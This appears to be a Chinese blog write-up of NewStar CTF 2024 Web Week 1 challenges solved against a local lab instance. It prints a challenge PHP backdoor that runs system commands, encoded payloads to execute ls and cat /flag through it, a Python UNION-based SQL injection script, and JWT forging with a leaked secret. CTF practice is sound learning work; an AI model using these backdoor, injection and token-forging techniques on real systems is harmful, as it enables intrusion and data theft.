NewStar CTF 2024 Web Week1复现 因为主包假期准备专攻web手,所以现在刷题只刷web了,其他方向到时候要学的话再补
平台链接https://ctf.xidian.edu.cn/training/14
记得用websocket reflector x
我这里全让他连到127.0.0.1:48254了
写于7.17
headach3 登上去返回
My HEAD(er) aches!!!!! HELP ME DOCTOR!!!
查看响应头发现fl3g:flag{You_Ar3_R3Ally_A_9ooD_d0ctor}
会赢吗 进页面之后自动跳转到http://127.0.0.1:48254/3ntranc3
ctrl+u查看源代码,发现
1 <!-- flag第一部分:ZmxhZ3tXQTB3,开始你的新学期吧!:/4cqu1siti0n -->
访问http://127.0.0.1:48254/4cqu1siti0n
题目提示js,所以看一眼js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 async function revealFlag(className) { try { const response = await fetch(`/api/flag/${className}`, { method: 'POST', headers: { 'Content-Type': 'application/json' } }); if (response.ok) { const data = await response.json(); console.log(`恭喜你!你获得了第二部分的 flag: ${data.flag}\n……\n时光荏苒,你成长了很多,也发生了一些事情。去看看吧:/${data.nextLevel}`); } else { console.error('请求失败,请检查输入或服务器响应。'); } } catch (error) { console.error('请求过程中出现错误:', error); } } // 控制台提示 console.log("你似乎对这门叫做4cqu1siti0n的课很好奇?那就来看看控制台吧!");
所以控制台输入revealFlag(“4cqu1siti0n”);
返回
1 2 Promise { <state>: "pending" } 恭喜你!你获得了第二部分的 flag: IV95NF9yM2Fs …… 时光荏苒,你成长了很多,也发生了一些事情。去看看吧:/s34l
第三段也是js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 document .addEventListener ('DOMContentLoaded' , function ( ) { const form = document .getElementById ('seal_him' ); const stateElement = document .getElementById ('state' ); const messageElement = document .getElementById ('message' ); form.addEventListener ('submit' , async function (event ) { event.preventDefault (); if (stateElement.textContent .trim () !== '解封' ) { messageElement.textContent = '如何是好?' ; return ; } try { const response = await fetch ('/api/flag/s34l' , { method : 'POST' , headers : { 'Content-Type' : 'application/json' }, body : JSON .stringify ({ csrf_token : document .getElementById ('csrf_token' ).value }) }); if (response.ok ) { const data = await response.json (); messageElement.textContent = `第三部分Flag: ${data.flag} , 你解救了五条悟!下一关: /${data.nextLevel || '无' } ` ; } else { messageElement.textContent = '请求失败,请重试。' ; } } catch (error) { messageElement.textContent = '请求过程中出现错误,请重试。' ; } }); });
所以我们可以先获取一个csrf_token
使用document.getElementById(‘csrf_token’).value
把id是state的内容改成”解封”即可,
1 第三部分Flag: MXlfR3I0c1B, 你解救了五条悟!下一关: /Ap3x
第四部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <body > <div class ="overlay" > </div > <div class ="content" > <h1 > 会赢吗?</h1 > <h2 > 现代最强的归来,五条悟的复活宣言!</h2 > <p > 绝对的强者,由此而生的孤独,教会你爱的是....</p > <form id ="winForm" action ="/api/flag/Ap3x" method ="post" > <input type ="hidden" name ="csrf_token" id ="csrf_token" value ="hfaousghashgfasbasiouwrda1_" > <button type ="submit" > 会赢的!</button > </form > <noscript > <form class ="s" action ="/api/flag/Ap3x" method ="post" > <input type ="hidden" name ="csrf_token" id ="csrf_token" value ="hfaousghashgfasbasiouwrda1_" > <button type ="submit" > 无量空处!!</button > </form > </noscript > <p id ="message" > </p > </div > <script > document .querySelector ('form' ).addEventListener ('submit' , function (event ) { event.preventDefault (); alert ("宿傩的领域太强了,有什么办法让他的领域失效呢?" ); }); (function ( ) { const originalConsoleLog = console .log ; console .log = function ( ) { originalConsoleLog.apply (console , arguments ); alert ("你觉得你能这么简单地获取到线索?" ); }; })(); </script > </body >
注意到有noscript标签,禁用js就又出现一个button
{“flag”:”fSkpKcyF9”,”nextLevel”:null}
拼接flag:ZmxhZ3tXQTB3IV95NF9yM2FsMXlfR3I0c1BfSkpKcyF9
base64解码
flag{WA0w!_y4_r3al1y_Gr4sP_JJJs!}
智械危机 这题可能要用dirsearch所以我用了另一个ip:192.168.139.1:48254,但虚拟机还是连不上,过段时间专门研究一下吧
根据题目提示robots,所以访问http://127.0.0.1:48254/robots.txt
1 2 User-agent: * Disallow: /backd0or.php
访问后门,返回
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php function execute_cmd ($cmd ) { system ($cmd ); } function decrypt_request ($cmd , $key ) { $decoded_key = base64_decode ($key ); $reversed_cmd = '' ; for ($i = strlen ($cmd ) - 1 ; $i >= 0 ; $i --) { $reversed_cmd .= $cmd [$i ]; } $hashed_reversed_cmd = md5 ($reversed_cmd ); if ($hashed_reversed_cmd !== $decoded_key ) { die ("Invalid key" ); } $decrypted_cmd = base64_decode ($cmd ); return $decrypted_cmd ; } if (isset ($_POST ['cmd' ]) && isset ($_POST ['key' ])) { execute_cmd (decrypt_request ($_POST ['cmd' ],$_POST ['key' ])); } else { highlight_file (__FILE__ ); } ?> <?php function execute_cmd ($cmd ) { system ($cmd ); } function decrypt_request ($cmd , $key ) { $decoded_key = base64_decode ($key ); $reversed_cmd = '' ; for ($i = strlen ($cmd ) - 1 ; $i >= 0 ; $i --) { $reversed_cmd .= $cmd [$i ]; } $hashed_reversed_cmd = md5 ($reversed_cmd ); if ($hashed_reversed_cmd !== $decoded_key ) { die ("Invalid key" ); } $decrypted_cmd = base64_decode ($cmd ); return $decrypted_cmd ; } if (isset ($_POST ['cmd' ]) && isset ($_POST ['key' ])) { execute_cmd (decrypt_request ($_POST ['cmd' ],$_POST ['key' ])); } else { highlight_file (__FILE__ ); } ?>
分析可以看出来cmd需要进行base64编码,key是To Base64->reverse->MD5->To Base64
ls的payload:cmd=bHM=&key=N2FiZThiMjRiZDAxMzc0NDZmZDMzNmMyMjk4ZmNjYTA=
1 backd0or.php index.php robots.txt
ls /的payload:cmd=bHMgLw==&key=ZTk0ZDNmOWQyNzBmNTczNGMwZTYwNDY3ZDQ0ZTdkNDY=
1 bin boot dev etc flag home lib lib64 media mnt my_init my_service opt proc root run sbin srv sys tmp usr var
cat /flag的payload:
cmd=Y2F0IC9mbGFn&key=ODc5YTU5MWM2Nzg1YTRlMTM5OGI5NmE5YTFiYzY3ZWI=
谢谢皮蛋 sql注入的题目,刚好这几天在做sql的题,这题的payload又要进行base64编码,所以刚好写个脚本练练手。
1 2 3 4 5 6 7 8 9 10 11 import requests import base64 payload1="-1 union select 1,database()#" payload2="-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#" payload3="-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='Fl4g'#" payload4="-1 union select 1,group_concat(value) from Fl4g#" d={"id":base64.b64encode(payload4.encode())} r=requests.post("http://127.0.0.1:48254/",data=d) print(r.text)
PangBai 过家家(1)(未出) 这似乎是解题数量最少的一个
第一个界面题目hint:PangBai 的头部(Header)里便隐藏着一些秘密,需要你主动去发现。
所以看请求里有个Location:/aaf6f587-2176-4f35-ae1a-f15cb08018da
故访问http://127.0.0.1:48254/aaf6f587-2176-4f35-ae1a-f15cb08018da
到第二个界面
hint:向 PangBai 询问(Query)一下(ask=miao)吧 ~
所以访问http://127.0.0.1:48254/?ask=miao
第三个界面
hint:用另一种方法(Method)打声招呼(say=hello)吧 ~
用post加上即可
第四个界面
hint:PangBai 回应了呢!可只有 Papa 的话语才能让她感到安心。 代理人(Agent),这个委托你就接了吧!
设置User-Agent:Papa/5.0(看了wp说这里的ua需要写标准)
https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/User-Agent
此时提示需要将 say 字段改成”玛卡巴卡阿卡哇卡米卡玛卡呣”
第五个界面
hint:PangBai 依然对你比较警惕,因此「玛卡巴卡阿卡哇卡米卡玛卡呣」或许是不可省略的。
所以用patch协议发一个包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 PATCH /?ask=miao HTTP/1.1 Host: 127.0.0.1:48254 User-Agent: Papa/1.0 Content-Type: multipart/form-data; boundary=abc Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.NRniulOohxCiXwRr0HwZkHnClUvmscw8nG4tj5ibXFI Content-Length: 178 --abc Content-Disposition: form-data; name="file"; filename="1.zip" 123 --abc Content-Disposition: form-data; name="say" 玛卡巴卡阿卡哇卡米卡玛卡呣 --abc--
response:
1 2 3 4 5 6 HTTP/1.1 302 Found set-cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6Nn0.2V4DHSNnWXgwF9MlRAkx6pxvrqZ0LDV0V0GfhdtzWZY; Max-Age=86400; Path=/ Location: /?ask=miao x-powered-by: Hono Date: Thu, 17 Jul 2025 14:37:49 GMT Content-Length: 0
第六部分
hint:PangBai 以一种难以形容的表情望着你——激动的、怀念的,却带着些不安与惊恐,像落单后归家的雏鸟,又宛若雷暴中遇难的船员。 你似乎无法抵御这种感觉的萦绕,像是一瞬间被推入到无法言喻的深渊。尽管你尽力摆脱,但即便今后夜间偶见酣眠,这一瞬间塑成的梦魇也成为了美梦的常客。 「像■■■■验体■■不可能■■■■ JWT 这种■■ H4oQ8AgYw5KlqPbF ■■■密钥,除非■■■■■走,难道■■■■■■吗?!」 「……」
所以去jwt,发现secret刚好是H4oQ8AgYw5KlqPbF
扔到jwt.io
1 2 3 4 5 HMACSHA256( base64UrlEncode(header)+"."+ base64UrlEncode(payload), H4oQ8AgYw5KlqPbF )
jwt网站更新了,需要重新手写这个secret,所以就没跑出来
这里附上原本的WP
TIP
修改 level 为 0 而不是 7,是本题的一个彩蛋。本关卡不断提示「一方通行」,而「一方通行」作为动画番剧《魔法禁书目录》《某科学的超电磁炮》中的人物,是能够稳定晋升为 Level 6 的强者,却被 Level 0 的「上条当麻」多次击败。但即使不了解该内容,也可以通过多次尝试找到 Level 0,做安全需要反常人的思维,这应当作为一种习惯。
第〇关·终章
点击提示中的「从梦中醒来」,过完一个片尾小彩蛋即获得 Flag 内容。